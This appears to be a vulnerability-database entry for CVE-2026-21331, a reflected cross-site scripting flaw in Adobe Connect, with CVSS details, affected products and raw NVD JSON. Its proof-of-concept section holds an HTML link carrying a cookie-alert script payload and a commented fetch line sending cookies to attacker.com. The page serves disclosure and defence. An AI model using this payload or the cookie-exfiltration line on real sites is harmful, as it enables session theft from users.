CVE-2026-21331

Description

Adobe Connect versions 2025.3, 12.10 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser. Scope is changed.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:* - VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:* - VULNERABLE

Adobe Connect <= 2025.3

Adobe Connect <= 12.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for Reflected XSS in Adobe Connect (CVE-2026-21331)
// The vulnerability allows execution of arbitrary JavaScript via URL parameters.
-->

<html>
  <body>
    <h3>Adobe Connect Reflected XSS PoC</h3>
    <p>Click the link below to trigger the vulnerability:</p>
    <a href="https://[target-adobe-connect-domain]/path/to/vulnerable/page?param=<script>alert(document.cookie)</script>">Test Exploit</a>
    <script>
      // In a real attack scenario, the script would send the cookie to an external server controlled by the attacker.
      // Example: fetch('http://attacker.com/steal?c=' + document.cookie);
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21331
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21331
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21331/
[4] VulDB https://vuldb.com/cve/CVE-2026-21331
[5] https://helpx.adobe.com/security/products/connect/apsb26-37.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21331", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:43.953", "lastModified": "2026-04-22T19:34:20.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 2025.3, 12.10 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:*", "versionEndExcluding": "12.11", "matchCriteriaId": "4A1D88E9-612C-49B1-8521-F2258D4D74CA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:*", "versionEndIncluding": "2025.3", "matchCriteriaId": "185BF6E9-82FC-45E0-A64E-03FB923F34AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2025.9.15", "matchCriteriaId": "783AAAA9-E68B-43E3-86A3-5227E27392A5"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb26-37.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}